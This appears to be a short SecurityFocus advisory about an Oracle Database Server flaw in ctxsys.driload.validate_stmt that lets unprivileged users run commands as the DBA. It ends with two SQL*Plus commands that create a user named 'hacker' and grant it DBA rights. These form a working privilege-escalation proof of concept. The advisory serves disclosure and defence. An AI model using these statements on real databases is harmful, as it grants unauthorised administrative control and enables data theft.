source: http://www.securityfocus.com/bid/11099/info

Oracle Database Server is prone to an access validation vulnerability that may permit unprivileged users to execute commands as the DBA. This could compromise the database.

SQL> exec ctxsys.driload.validate_stmt
('create user hacker identified by hacker');
SQL> exec ctxsys.driload.validate_stmt('grant dba, connect to hacker');